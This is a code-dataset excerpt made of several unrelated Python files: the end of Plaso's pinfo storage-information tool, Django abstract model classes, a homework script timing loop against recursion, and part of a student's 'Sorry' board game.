PinfoTool(analysis_tool.AnalysisTool):\n \"\"\"Class that implements the pinfo CLI tool.\"\"\"\n\n NAME = u'pinfo'\n DESCRIPTION = (\n u'Shows information about a Plaso storage file, for example how it was '\n u'collected, what information was extracted from a source, etc.')\n\n _INDENTATION_LEVEL = 8\n\n def __init__(self, input_reader=None, output_writer=None):\n \"\"\"Initializes the CLI tool object.\n\n Args:\n input_reader (Optional[InputReader]): input reader, where None indicates\n that the stdin input reader should be used.\n output_writer (Optional[OutputWriter]): output writer, where None\n indicates that the stdout output writer should be used.\n \"\"\"\n super(PinfoTool, self).__init__(\n input_reader=input_reader, output_writer=output_writer)\n self._compare_storage_file_path = None\n self._front_end = analysis_frontend.AnalysisFrontend()\n self._output_format = None\n\n self._verbose = False\n self.compare_storage_information = False\n\n def _CalculateStorageCounters(self, storage):\n \"\"\"Calculates the counters of the entire storage.\n\n Args:\n storage (BaseStorage): storage.\n\n Returns:\n dict[str,collections.Counter]: storage counters.\n \"\"\"\n analysis_reports_counter = collections.Counter()\n analysis_reports_counter_error = False\n event_labels_counter = collections.Counter()\n event_labels_counter_error = False\n parsers_counter = collections.Counter()\n parsers_counter_error = False\n\n for session in storage.GetSessions():\n # Check for a dict for backwards compatibility.\n if isinstance(session.analysis_reports_counter, dict):\n analysis_reports_counter += collections.Counter(\n session.analysis_reports_counter)\n elif isinstance(session.analysis_reports_counter, collections.Counter):\n analysis_reports_counter += session.analysis_reports_counter\n else:\n analysis_reports_counter_error = True\n\n # Check for a dict for backwards compatibility.\n if isinstance(session.event_labels_counter, dict):\n event_labels_counter += collections.Counter(\n session.event_labels_counter)\n elif isinstance(session.event_labels_counter, collections.Counter):\n event_labels_counter += session.event_labels_counter\n else:\n event_labels_counter_error = True\n\n # Check for a dict for backwards compatibility.\n if isinstance(session.parsers_counter, dict):\n parsers_counter += collections.Counter(session.parsers_counter)\n elif isinstance(session.parsers_counter, collections.Counter):\n parsers_counter += session.parsers_counter\n else:\n parsers_counter_error = True\n\n storage_counters = {}\n\n if not analysis_reports_counter_error:\n storage_counters[u'analysis_reports'] = analysis_reports_counter\n\n if not event_labels_counter_error:\n storage_counters[u'event_labels'] = event_labels_counter\n\n if not parsers_counter_error:\n storage_counters[u'parsers'] = parsers_counter\n\n return storage_counters\n\n def _CompareStorages(self, storage, compare_storage):\n \"\"\"Compares the contents of two storages.\n\n Args:\n storage (BaseStorage): storage.\n compare_storage (BaseStorage): storage to compare against.\n\n Returns:\n bool: True if the content of the storages is identical.\n \"\"\"\n storage_counters = self._CalculateStorageCounters(storage)\n compare_storage_counters = self._CalculateStorageCounters(compare_storage)\n\n # TODO: improve comparision, currently only total numbers are compared.\n\n return storage_counters == compare_storage_counters\n\n def _PrintAnalysisReportCounter(\n self, analysis_reports_counter, session_identifier=None):\n \"\"\"Prints the analysis reports counter.\n\n Args:\n analysis_reports_counter (collections.Counter): number of analysis\n reports per analysis plugin.\n session_identifier (Optional[str]): session identifier.\n \"\"\"\n if not analysis_reports_counter:\n return\n\n title = u'Reports generated per plugin'\n if session_identifier:\n title = u'{0:s}: {1:s}'.format(title, session_identifier)\n\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type,\n column_names=[u'Plugin name', u'Number of reports'], title=title)\n\n for key, value in sorted(analysis_reports_counter.items()):\n if key == u'total':\n continue\n table_view.AddRow([key, value])\n\n try:\n total = analysis_reports_counter[u'total']\n except KeyError:\n total = u'N/A'\n\n table_view.AddRow([u'Total', total])\n\n table_view.Write(self._output_writer)\n\n def _PrintAnalysisReportsDetails(self, storage):\n \"\"\"Prints the details of the analysis reports.\n\n Args:\n storage (BaseStorage): storage.\n \"\"\"\n if not storage.HasAnalysisReports():\n self._output_writer.Write(u'No analysis reports stored.\\n\\n')\n return\n\n for index, analysis_report in enumerate(storage.GetAnalysisReports()):\n title = u'Analysis report: {0:d}'.format(index)\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type, title=title)\n\n table_view.AddRow([u'String', analysis_report.GetString()])\n\n table_view.Write(self._output_writer)\n\n def _PrintErrorsDetails(self, storage):\n \"\"\"Prints the details of the errors.\n\n Args:\n storage (BaseStorage): storage.\n \"\"\"\n if not storage.HasErrors():\n self._output_writer.Write(u'No errors stored.\\n\\n')\n return\n\n for index, error in enumerate(storage.GetErrors()):\n title = u'Error: {0:d}'.format(index)\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type, title=title)\n\n table_view.AddRow([u'Message', error.message])\n table_view.AddRow([u'Parser chain', error.parser_chain])\n for index, line in enumerate(error.path_spec.comparable.split(u'\\n')):\n if not line:\n continue\n\n if index == 0:\n table_view.AddRow([u'Path specification', line])\n else:\n table_view.AddRow([u'', line])\n\n table_view.Write(self._output_writer)\n\n def _PrintEventLabelsCounter(\n self, event_labels_counter, session_identifier=None):\n \"\"\"Prints the event labels counter.\n\n Args:\n event_labels_counter (collections.Counter): number of event tags per\n label.\n session_identifier (Optional[str]): session identifier.\n \"\"\"\n if not event_labels_counter:\n return\n\n title = u'Event tags generated per label'\n if session_identifier:\n title = u'{0:s}: {1:s}'.format(title, session_identifier)\n\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type,\n column_names=[u'Label', u'Number of event tags'], title=title)\n\n for key, value in sorted(event_labels_counter.items()):\n if key == u'total':\n continue\n table_view.AddRow([key, value])\n\n try:\n total = event_labels_counter[u'total']\n except KeyError:\n total = u'N/A'\n\n table_view.AddRow([u'Total', total])\n\n table_view.Write(self._output_writer)\n\n def _PrintParsersCounter(self, parsers_counter, session_identifier=None):\n \"\"\"Prints the parsers counter\n\n Args:\n parsers_counter (collections.Counter): number of events per parser or\n parser plugin.\n session_identifier (Optional[str]): session identifier.\n \"\"\"\n if not parsers_counter:\n return\n\n title = u'Events generated per parser'\n if session_identifier:\n title = u'{0:s}: {1:s}'.format(title, session_identifier)\n\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type,\n column_names=[u'Parser (plugin) name', u'Number of events'],\n title=title)\n\n for key, value in sorted(parsers_counter.items()):\n if key == u'total':\n continue\n table_view.AddRow([key, value])\n\n table_view.AddRow([u'Total', parsers_counter[u'total']])\n\n table_view.Write(self._output_writer)\n\n def _PrintPreprocessingInformation(self, storage, session_number=None):\n \"\"\"Prints the details of the preprocessing information.\n\n Args:\n storage (BaseStorage): storage.\n session_number (Optional[int]): session number.\n \"\"\"\n knowledge_base_object = knowledge_base.KnowledgeBase()\n\n storage.ReadPreprocessingInformation(knowledge_base_object)\n\n # TODO: replace session_number by session_identifier.\n system_configuration = knowledge_base_object.GetSystemConfigurationArtifact(\n session_identifier=session_number)\n if not system_configuration:\n return\n\n title = u'System configuration'\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type, title=title)\n\n hostname = u'N/A'\n if system_configuration.hostname:\n hostname = system_configuration.hostname.name\n\n operating_system = system_configuration.operating_system or u'N/A'\n operating_system_product = (\n system_configuration.operating_system_product or u'N/A')\n operating_system_version = (\n system_configuration.operating_system_version or u'N/A')\n code_page = system_configuration.code_page or u'N/A'\n keyboard_layout = system_configuration.keyboard_layout or u'N/A'\n time_zone = system_configuration.time_zone or u'N/A'\n\n table_view.AddRow([u'Hostname', hostname])\n table_view.AddRow([u'Operating system', operating_system])\n table_view.AddRow([u'Operating system product', operating_system_product])\n table_view.AddRow([u'Operating system version', operating_system_version])\n table_view.AddRow([u'Code page', code_page])\n table_view.AddRow([u'Keyboard layout', keyboard_layout])\n table_view.AddRow([u'Time zone', time_zone])\n\n table_view.Write(self._output_writer)\n\n title = u'User accounts'\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type, title=title)\n\n for user_account in system_configuration.user_accounts:\n table_view.AddRow([\n user_account.username, user_account.user_directory])\n\n table_view.Write(self._output_writer)\n\n def _PrintSessionsDetails(self, storage):\n \"\"\"Prints the details of the sessions.\n\n Args:\n storage (BaseStorage): storage.\n \"\"\"\n for session_number, session in enumerate(storage.GetSessions()):\n session_identifier = uuid.UUID(hex=session.identifier)\n\n start_time = u'N/A'\n if session.start_time is not None:\n start_time = timelib.Timestamp.CopyToIsoFormat(session.start_time)\n\n completion_time = u'N/A'\n if session.completion_time is not None:\n completion_time = timelib.Timestamp.CopyToIsoFormat(\n session.completion_time)\n\n enabled_parser_names = u'N/A'\n if session.enabled_parser_names:\n enabled_parser_names = u', '.join(sorted(session.enabled_parser_names))\n\n command_line_arguments = session.command_line_arguments or u'N/A'\n parser_filter_expression = session.parser_filter_expression or u'N/A'\n preferred_encoding = session.preferred_encoding or u'N/A'\n filter_file = session.filter_file or u'N/A'\n filter_expression = session.filter_expression or u'N/A'\n\n title = u'Session: {0!s}'.format(session_identifier)\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type, title=title)\n\n table_view.AddRow([u'Start time', start_time])\n table_view.AddRow([u'Completion time', completion_time])\n table_view.AddRow([u'Product name', session.product_name])\n table_view.AddRow([u'Product version', session.product_version])\n table_view.AddRow([u'Command line arguments', command_line_arguments])\n table_view.AddRow([u'Parser filter expression', parser_filter_expression])\n table_view.AddRow([u'Enabled parser and plugins', enabled_parser_names])\n table_view.AddRow([u'Preferred encoding', preferred_encoding])\n table_view.AddRow([u'Debug mode', session.debug_mode])\n table_view.AddRow([u'Filter file', filter_file])\n table_view.AddRow([u'Filter expression', filter_expression])\n\n table_view.Write(self._output_writer)\n\n if self._verbose:\n # TODO: disabled for now seeing the output is not yet complete.\n # self._PrintPreprocessingInformation(storage, session_number + 1)\n _ = session_number\n\n self._PrintParsersCounter(\n session.parsers_counter, session_identifier=session_identifier)\n\n self._PrintAnalysisReportCounter(\n session.analysis_reports_counter,\n session_identifier=session_identifier)\n\n self._PrintEventLabelsCounter(\n session.event_labels_counter,\n session_identifier=session_identifier)\n\n def _PrintSessionsOverview(self, storage):\n \"\"\"Prints a sessions overview.\n\n Args:\n storage (BaseStorage): storage.\n \"\"\"\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type, title=u'Sessions')\n\n for session in storage.GetSessions():\n start_time = timelib.Timestamp.CopyToIsoFormat(\n session.start_time)\n session_identifier = uuid.UUID(hex=session.identifier)\n table_view.AddRow([str(session_identifier), start_time])\n\n table_view.Write(self._output_writer)\n\n def _PrintStorageInformationAsText(self, storage):\n \"\"\"Prints information about the storage as human-readable text.\n\n Args:\n storage (BaseStorage): storage.\n \"\"\"\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type, title=u'Plaso Storage Information')\n table_view.AddRow([u'Filename', os.path.basename(self._storage_file_path)])\n table_view.AddRow([u'Format version', storage.format_version])\n table_view.AddRow([u'Serialization format', storage.serialization_format])\n table_view.Write(self._output_writer)\n\n if storage.storage_type == definitions.STORAGE_TYPE_SESSION:\n self._PrintSessionsOverview(storage)\n self._PrintSessionsDetails(storage)\n\n storage_counters = self._CalculateStorageCounters(storage)\n\n if u'parsers' not in storage_counters:\n self._output_writer.Write(\n u'Unable to determine number of events generated per parser.\\n')\n else:\n self._PrintParsersCounter(storage_counters[u'parsers'])\n\n if u'analysis_reports' not in storage_counters:\n self._output_writer.Write(\n u'Unable to determine number of reports generated per plugin.\\n')\n else:\n self._PrintAnalysisReportCounter(storage_counters[u'analysis_reports'])\n\n if u'event_labels' not in storage_counters:\n self._output_writer.Write(\n u'Unable to determine number of event tags generated per label.\\n')\n else:\n self._PrintEventLabelsCounter(storage_counters[u'event_labels'])\n\n self._PrintErrorsDetails(storage)\n self._PrintAnalysisReportsDetails(storage)\n\n elif storage.storage_type == definitions.STORAGE_TYPE_TASK:\n self._PrintTasksInformation(storage)\n\n def _PrintStorageInformationAsJSON(self, storage):\n \"\"\"Writes a summary of sessions as machine-readable JSON.\n\n Args:\n storage (BaseStorage): storage.\n \"\"\"\n serializer = json_serializer.JSONAttributeContainerSerializer\n self._output_writer.Write(u'{')\n for index, session in enumerate(storage.GetSessions()):\n json_string = serializer.WriteSerialized(session)\n if index != 0:\n self._output_writer.Write(u',\\n')\n self._output_writer.Write(u'\"session_{0:s}\": {1:s} '.format(\n session.identifier, json_string))\n self._output_writer.Write(u'}')\n\n def _PrintTasksInformation(self, storage):\n \"\"\"Prints information about the tasks.\n\n Args:\n storage (BaseStorage): storage.\n \"\"\"\n table_view = cli_views.ViewsFactory.GetTableView(\n self._views_format_type, title=u'Tasks')\n\n for task_start, _ in storage.GetSessions():\n start_time = timelib.Timestamp.CopyToIsoFormat(\n task_start.timestamp)\n task_identifier = uuid.UUID(hex=task_start.identifier)\n table_view.AddRow([str(task_identifier), start_time])\n\n table_view.Write(self._output_writer)\n\n def CompareStorages(self):\n \"\"\"Compares the contents of two storages.\n\n Returns:\n bool: True if the content of the storages is identical.\n \"\"\"\n storage_file = storage_zip_file.ZIPStorageFile()\n try:\n storage_file.Open(path=self._storage_file_path, read_only=True)\n except IOError as exception:\n logging.error(\n u'Unable to open storage file: {0:s} with error: {1:s}'.format(\n self._storage_file_path, exception))\n return\n\n compare_storage_file = storage_zip_file.ZIPStorageFile()\n try:\n compare_storage_file.Open(\n path=self._compare_storage_file_path, read_only=True)\n except IOError as exception:\n logging.error(\n u'Unable to open storage file: {0:s} with error: {1:s}'.format(\n self._compare_storage_file_path, exception))\n storage_file.Close()\n return\n\n try:\n result = self._CompareStorages(storage_file, compare_storage_file)\n\n finally:\n compare_storage_file.Close()\n storage_file.Close()\n\n if result:\n self._output_writer.Write(u'Storages are identical.\\n')\n else:\n self._output_writer.Write(u'Storages are different.\\n')\n\n return result\n\n def ParseArguments(self):\n \"\"\"Parses the command line arguments.\n\n Returns:\n bool: True if the arguments were successfully parsed.\n \"\"\"\n self._ConfigureLogging()\n\n argument_parser = argparse.ArgumentParser(\n description=self.DESCRIPTION, add_help=False,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n self.AddBasicOptions(argument_parser)\n self.AddStorageFileOptions(argument_parser)\n\n argument_parser.add_argument(\n u'-v', u'--verbose', dest=u'verbose', action=u'store_true',\n default=False, help=u'Print verbose output.')\n\n argument_parser.add_argument(\n u'--compare', dest=u'compare_storage_file', type=str,\n action=u'store', default=u'', metavar=u'STORAGE_FILE', help=(\n u'The path of the storage file to compare against.'))\n\n argument_parser.add_argument(\n u'--output-format', dest=u'output_format', type=str,\n choices=[u'text', u'json'], action=u'store', default=u'text',\n metavar=u'FORMAT', help=u'Type of output to produce')\n\n try:\n options = argument_parser.parse_args()\n except UnicodeEncodeError:\n # If we get here we are attempting to print help in a non-Unicode\n # terminal.\n self._output_writer.Write(u'\\n')\n self._output_writer.Write(argument_parser.format_help())\n return False\n\n try:\n self.ParseOptions(options)\n except errors.BadConfigOption as exception:\n self._output_writer.Write(u'ERROR: {0:s}'.format(exception))\n self._output_writer.Write(u'\\n')\n self._output_writer.Write(argument_parser.format_usage())\n return False\n\n return True\n\n def ParseOptions(self, options):\n \"\"\"Parses the options.\n\n Args:\n options (argparse.Namespace): command line arguments.\n\n Raises:\n BadConfigOption: if the options are invalid.\n \"\"\"\n super(PinfoTool, self).ParseOptions(options)\n\n if self._debug_mode:\n logging_level = logging.DEBUG\n elif self._quiet_mode:\n logging_level = logging.WARNING\n else:\n logging_level = logging.INFO\n\n self._ConfigureLogging(log_level=logging_level)\n\n self._verbose = getattr(options, u'verbose', False)\n\n compare_storage_file_path = self.ParseStringOption(\n options, u'compare_storage_file')\n if compare_storage_file_path:\n if not os.path.isfile(compare_storage_file_path):\n raise errors.BadConfigOption(\n u'No such storage file: {0:s}.'.format(compare_storage_file_path))\n\n self._compare_storage_file_path = compare_storage_file_path\n self.compare_storage_information = True\n\n self._output_format = self.ParseStringOption(options, u'output_format')\n\n def PrintStorageInformation(self):\n \"\"\"Prints the storage information.\"\"\"\n storage_file = storage_zip_file.ZIPStorageFile()\n try:\n storage_file.Open(path=self._storage_file_path, read_only=True)\n except IOError as exception:\n logging.error(\n u'Unable to open storage file: {0:s} with error: {1:s}'.format(\n self._storage_file_path, exception))\n return\n\n try:\n if self._output_format == u'json':\n self._PrintStorageInformationAsJSON(storage_file)\n elif self._output_format == u'text':\n self._PrintStorageInformationAsText(storage_file)\n finally:\n storage_file.Close()\n\n\ndef Main():\n \"\"\"The main function.\"\"\"\n tool = PinfoTool()\n\n if not tool.ParseArguments():\n return False\n\n result = True\n try:\n if tool.compare_storage_information:\n result = tool.CompareStorages()\n else:\n tool.PrintStorageInformation()\n\n except errors.BadConfigOption as exception:\n logging.warning(exception)\n return False\n\n return result\n\n\nif __name__ == '__main__':\n if not Main():\n sys.exit(1)\n else:\n sys.exit(0)\n","sub_path":"tools/pinfo.py","file_name":"pinfo.py","file_ext":"py","file_size_in_byte":21776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"278825200","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\n\n# Create your models here.\n##########################################CLASSES AUXILIARES################################################\nclass CommonInfo (models.Model):\n\tname = models.CharField(\n\t\tu'Nome',\n\t\tmax_length=200,\n\t)\n\ttitle = models.CharField(\n\t\tu'Título',\n\t\tmax_length=200,\n\t\tnull=True,\n\t\tblank=True,\n\t)\n\tcontent = models.TextField(\n\t\tu'Conteúdo',\n\t\tmax_length=500,\n\t\tnull=True,\n\t\tblank=True\n\t)\n\tpriority = models.IntegerField(\n\t\tu'Prioridade',\n\t\tnull = True,\n\t\tblank = True\n\t\t)\n\n\tdef __unicode__(self):\n\t return self.name\n\tclass Meta:\n\t\tabstract = True\n\nclass CommonInfoImage (CommonInfo):\n\timage = models.ImageField(\n\t\tu'Imagem',\n\t\tupload_to = 'uploads',\n\t\tnull=True,\n\t\tblank=True\n\t)\n\tdef __unicode__(self):\n\t return self.name\n\tclass Meta:\n\t\tabstract = True\n\nclass CommonInfoLink (CommonInfo):\n\tlink = models.URLField(\n\t\tu'Link',\n\t\tmax_length=200,\n\t\tnull=True,\n\t\tblank=True\n\t)\n\tdef __unicode__(self):\n\t return self.name\n\tclass Meta:\n\t\tabstract = True\n\nclass CommonInfoImageLink (CommonInfoImage):\n\tlink = models.URLField(\n\t\tu'Link',\n\t\tmax_length=200,\n\t\tnull=True,\n\t\tblank=True\n\t)\n\t\n\tdef __unicode__(self):\n\t return self.name\n\tclass Meta:\n\t\tabstract = True","sub_path":"waiter/main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"560247387","text":"\"\"\"\n1. Проанализировать скорость и сложность одного любого алгоритма,\nразработанных в рамках домашнего задания первых трех уроков.\nПримечание: попробуйте написать несколько реализаций алгоритма и сравнить их.\n\"\"\"\nimport timeit\nimport cProfile\nimport sys\n\n\n\"\"\"\nНиже представлены алгоритмы суммы n элементов следующего ряда чисел: 1 -0.5 0.25 -0.125 ...\nПервый вариант церез цикл. Алгоритм линейный\n\"\"\"\n\n\ndef series_sum(n):\n \"\"\"Возвращает сумму n элементов следующего ряда чисел: 1 -0.5 0.25 -0.125 ...\"\"\"\n summ = 1\n el = 1\n i = 1\n while i < n:\n el *= -0.5\n summ += el\n i += 1\n return summ\n\n\n# 0.530сек - результат вызова функции 100000 раз\nprint(timeit.timeit(\"series_sum(40)\",\n setup=\"from __main__ import series_sum\",\n number=100000))\n\n\n\"\"\"\nВторой вариант реализации алгоритма - через рекурсию.\nАлгоритм также линейный\n\"\"\"\n\n\ndef series_sum_recursive(n, el=(-0.5), summ=1):\n \"\"\"Возвращает сумму n элементов следующего ряда чисел: 1 -0.5 0.25 -0.125 ...\"\"\"\n if n == 1:\n return summ\n else:\n return summ + series_sum_recursive(n-1, el*(-0.5), el)\n\n\n# 1.197сек - результат вызова функции 100000 раз\nprint(timeit.timeit(\"series_sum_recursive(40)\",\n setup=\"from __main__ import series_sum_recursive\",\n number=100000))\n\n\n\"\"\"\nТаким образом, решение через цикл показывает более чем в 2 раза прирост скорости исполнения задачи\n\"\"\"\n\n\ndef main():\n sys.setrecursionlimit(10100)\n n = 10000\n series_sum(n)\n series_sum_recursive(n)\n\n\ncProfile.run('main()')\n\n\n\"\"\"\n 10006 function calls (7 primitive calls) in 0.020 seconds\n\n ncalls tottime percall cumtime percall filename:lineno(function)\n 1 0.001 0.001 0.001 0.001 1.py:17(series_sum)\n 10000/1 0.019 0.000 0.019 0.019 1.py:40(series_sum_recursive)\n 1 0.000 0.000 0.020 0.020 1.py:54(main)\n 1 0.000 0.000 0.020 0.020 :1()\n 1 0.000 0.000 0.020 0.020 {built-in method builtins.exec}\n 1 0.000 0.000 0.000 0.000 {built-in method sys.setrecursionlimit}\n 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}\n \nЗдесь же решение через цикл показывает прирост скорости примерно в 20 раз\n\"\"\"\n","sub_path":"Lesson_4/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"465322908","text":"\"\"\" \n*******************************************************************************\nFile: Game.py \n\nAuthor: Sarah Keefe \n\nPartner: \n\nAssignment: Project 6 \n\nDate: 4/30/17 \n\nDescription: This file has multiple classes each with multiple methods that\nallow the game 'Sorry' to be played. The classes create board spaces and board \ncircles and the cards and pawns for the game. There are three event handlers: \nthe card, the pawn, and the boardspace. When a card is drawn and a pawn is\nclicked the board spaces the pawn can move to are highlighted. When the\nhighlighted board space is clicked, the graphical pawn object moves. When the \nnext card is clicked the turn is changed. \n*******************************************************************************\n\"\"\"\n#There is no way this project would run how it does without the help of the\n#wonderful TA's. They helped in too many places to comment in and so many of \n#them helped that I can't name them all. Thanks TA's!\n\nimport random\nfrom cs110graphics import *\n\nclass BoardSpace(EventHandler):\n \"\"\"Class to create the spaces in the board\"\"\"\n def __init__(self, center, color, index, controller):\n \"\"\"Creates the board spaces\"\"\"\n EventHandler.__init__(self)\n self._center = center\n self._controller = controller\n self._square = Rectangle(25, 25, center)\n self._square.setFillColor(color)\n self._square.addHandler(self)\n self._index = index\n self._active = False \n \n def addTo(self, win):\n \"\"\"Adds the board spaces to the window\"\"\"\n win.add(self._square)\n \n def getCenter(self):\n \"\"\"Returns the center of the board space\"\"\"\n return self._center \n \n def getIndex(self):\n \"\"\"Returns the index of the board space\"\"\"\n return self._index \n \n def setBorderColor(self, color):\n \"\"\"Sets the border color of the boardspace\"\"\"\n self._square.setBorderColor(color)\n \n def boardSpaceActivate(self):\n \"\"\"Activates the boardspace\"\"\"\n self._active = True\n \n def boardSpaceDeactivate(self):\n \"\"\"Deactivates the board space\"\"\"\n self._active = False \n \n def handleMouseRelease(self, event):\n \"\"\"\"Method that when the highlighted boardspace is clicked the pawn\n moves to that board space and the space is unhighlighted\"\"\" \n if not self._active:\n return\n if self._active:\n self._controller.movePawn(self)\n self._controller.unHighlightSpots()\n \nclass BoardCircles:\n \"\"\"Class that creates some of the circles on the board\"\"\"\n def __init__(self, radius, center, index, color):\n \"\"\"Creates the home and start circles\"\"\"\n self._center = center\n self._radius = radius \n self._circle = Circle(radius, center)\n self._circle.setFillColor(color)\n self._index = index \n \n def getCenter(self):\n \"\"\"Returns the center of the board circles\"\"\"\n return self._center\n \n def setFillColors(self, color):\n \"\"\"Sets the fill colors of the board circles\"\"\"\n self._circle.setFillColor(color)\n \n def getIndex(self):\n \"\"\"Returns the index of the board circle\"\"\"\n return self._index \n \n def addTo(self, win):\n \"\"\"Adds the board circle to the window\"\"\"\n win.add(self._circle)\n \nclass Board:\n \"\"\"Class that will create the graphical objects of the board\"\"\"\n #The init for the board is very long because a lot of pieces had to be added\n def __init__(self, win, controller):\n \"\"\"Creates the game board\"\"\"\n self._win = win\n self._controller = controller\n self._active = False \n \n #makes a deck on the window \n self._card = Deck(win) \n \n #adds the button and text to the window \n self._button = EndGame(win, 30, (500, 50), 'white')\n self._button.addTo(self._win)\n self._text = Text(' ', (600, 75), 20)\n win.add(self._text)\n \n #creates the outside rectangles\n spaceTopLst = []\n spaceRightLst = []\n spaceBottomLst = []\n spaceLeftLst = []\n for i in range(0, 375, 25):\n spaceTop = BoardSpace((12.5 + i, 12.5), 'white', i / 25, \n self._controller)\n spaceTopLst.append(spaceTop)\n spaceTop.addTo(self._win)\n spaceRight = BoardSpace((387.5, 12.5 + i), 'white', (i / 25) + 15, \n self._controller)\n spaceRightLst.append(spaceRight)\n spaceRight.addTo(self._win)\n spaceBottom = BoardSpace((387.5 - i, 387.5), 'white', \n (i / 25) + 30, self._controller)\n spaceBottomLst.append(spaceBottom)\n spaceBottom.addTo(self._win)\n spaceLeft = BoardSpace((12.5, 387.5 - i), 'white', (i / 25) + 45,\n self._controller)\n spaceLeftLst.append(spaceLeft)\n spaceLeft.addTo(self._win)\n self._squares = (spaceTopLst + spaceRightLst + spaceBottomLst \n + spaceLeftLst)\n \n #creates the safe spaces\n yellowSafe = []\n greenSafe = []\n redSafe = []\n blueSafe = []\n for i in range(0, 125, 25):\n yellowSafeSpace = BoardSpace((62.5, 37.5 + i), 'yellow', (i / 25)\n + 60, self._controller)\n yellowSafe.append(yellowSafeSpace)\n yellowSafeSpace.addTo(self._win)\n greenSafeSpace = BoardSpace((362.5 - i, 62.5), 'green', (i / 25) \n + 65, self._controller)\n greenSafe.append(greenSafeSpace)\n greenSafeSpace.addTo(self._win)\n redSafeSpace = BoardSpace((337.5, 362.5 - i), 'red', (i / 25) + 70, \n self)\n redSafe.append(redSafeSpace)\n redSafeSpace.addTo(self._win)\n blueSafeSpace = BoardSpace((37.5 + i, 337.5), 'blue', (i / 25) + 75,\n self._controller)\n blueSafe.append(blueSafeSpace)\n blueSafeSpace.addTo(self._win)\n self._safeSpace = yellowSafe + greenSafe + redSafe + blueSafe\n \n #make a list of the centers where the HOME circles are and add a circle\n homes = []\n boardHome = [(62.5, 180), (220, 62.5), (337.5, 220), (180, 337.5)]\n for i in range(len(boardHome)):\n homeSpot = BoardCircles(30, boardHome[i], i + 81, 'white')\n homes.append(homeSpot)\n homeSpot.addTo(self._win)\n coloredHomes = homes\n \n #make a list of the centers where the START circles are and add a circle\n starts = []\n boardStart = [(112.5, 55), (345, 112.5), (292.5, 340), (55, 290)]\n for i in range(len(boardStart)):\n startSpot = BoardCircles(30, boardStart[i], i + 85, 'white')\n starts.append(startSpot)\n startSpot.addTo(self._win)\n coloredStarts = starts\n \n #make a list of the 4 colors and make the different circles the colors\n colors = ['yellow', 'green', 'red', 'blue'] \n for i in range(len(colors)):\n coloredHomes[i].setFillColors(colors[i])\n coloredStarts[i].setFillColors(colors[i])\n \n #is a list of all the board spaces to be accessed later \n self._totalSpaceLst = (self._squares + self._safeSpace + coloredHomes \n + coloredStarts)\n \n def getTotalLst(self):\n \"\"\"Returns the list of all the indices of the spaces on the board\"\"\"\n return self._totalSpaceLst\n \n def getDeck(self):\n \"\"\"Returns the card\"\"\"\n return self._card\n\n def boardSpaceActivate(self):\n \"\"\"Activates the board space\"\"\"\n #This is also in the boardSpace class but when one of them is removed \n #the pawn move doesn't work and I couldn't figure out why\n self._active = True\n\n def boardSpaceDeactivate(self):\n \"\"\"Deactivates the board space\"\"\"\n #This is also in the boardSpace class but when one of them is removed \n #the pawn move doesn't work and I couldn't figure out why \n self._active = False \n \nclass Deck:\n \"\"\"A class for building a deck of cards. This class is not graphical\"\"\"\n #this class was modified from the deck project \n def __init__(self, win):\n \"\"\"Creates a complete deck of 45 playing cards.\"\"\"\n #the code to create the cards came from class notes \n self._resetCards = []\n self._win = win\n self._cards = []\n for name in ['1', '1', '1', '1', '1', '2', '2', '2', '2', '3', '3', '3',\n '3', '4', '4', '4', '4', '5', '5', '5', '5', '7', '7', '7',\n '7', '8', '8', '8', '8', '10', '10', '10', '10', '11',\n '11', '11', '11', '12', '12', '12', '12', 'sorry',\n 'sorry', 'sorry', 'sorry', 'sorry']:\n c = Card(name + '.png')\n self._cards.append(c)\n \n def getCards(self):\n \"\"\"Returns the list of cards\"\"\"\n return self._cards\n \n def deal(self):\n \"\"\"Deals a card\"\"\"\n self._resetCards.append(self._cards[-1])\n return self._cards.pop()\n \n def empty(self):\n \"\"\"Returns True if the deck no longer contains any cards. Otherwise \n false is returned.\"\"\"\n return len(self._cards) == 0\n\n def getDeckLength(self):\n \"\"\"Returns the number of cards in the deck\"\"\" \n return len(self._cards)\n \n def shuffle(self):\n \"\"\"All cards currently in the deck are randomly ordered\"\"\"\n shuffledCards = []\n while len(self._cards) != 0:\n randomCard = self._cards.pop(random.randrange(len(self._cards)))\n shuffledCards.insert(0, randomCard)\n randomCard.addTo(self._win)\n randomCard.setDepth(len(shuffledCards))\n self._cards = shuffledCards\n \n def addTo(self, win):\n \"\"\"Adds the cards to the window\"\"\"\n for i in range(len(self._cards)):\n self._cards[i].addTo(win)\n \n def reset(self):\n \"\"\"Resets the deck\"\"\"\n self._cards = self._resetCards\n self._resetCards = []\n \nclass Card:\n \"\"\"A class used for building graphical playing cards\"\"\"\n #This class was modified from the deck project\n def __init__(self, name):\n cardurl = \"https://cs.hamilton.edu/~skeefe/images/\" + name\n self._card = Image(cardurl, width=142, height=192)\n cardBackurl = \"https://cs.hamilton.edu/~skeefe/images/back.png\" \n self._back = Image(cardBackurl, width=142, height=192)\n self._back.setDepth(0)\n self._name = name\n \n def getName(self):\n \"\"\"Returns an integer if the name of the card is a number\"\"\"\n #I was not able to get the sorry card to work because it is saved as \n #\"sorry\" when I should have saved it as a number. I realized this too \n #late and do not have the time to change the name and change other \n #aspects of this program as well, so I am leaving it\n return int(self._name[0:-4])\n \n def getBack(self):\n \"\"\"Returns the back of the card\"\"\"\n return self._back\n \n def addTo(self, win):\n \"\"\"Adds the card to the window\"\"\"\n win.add(self._back)\n win.add(self._card)\n 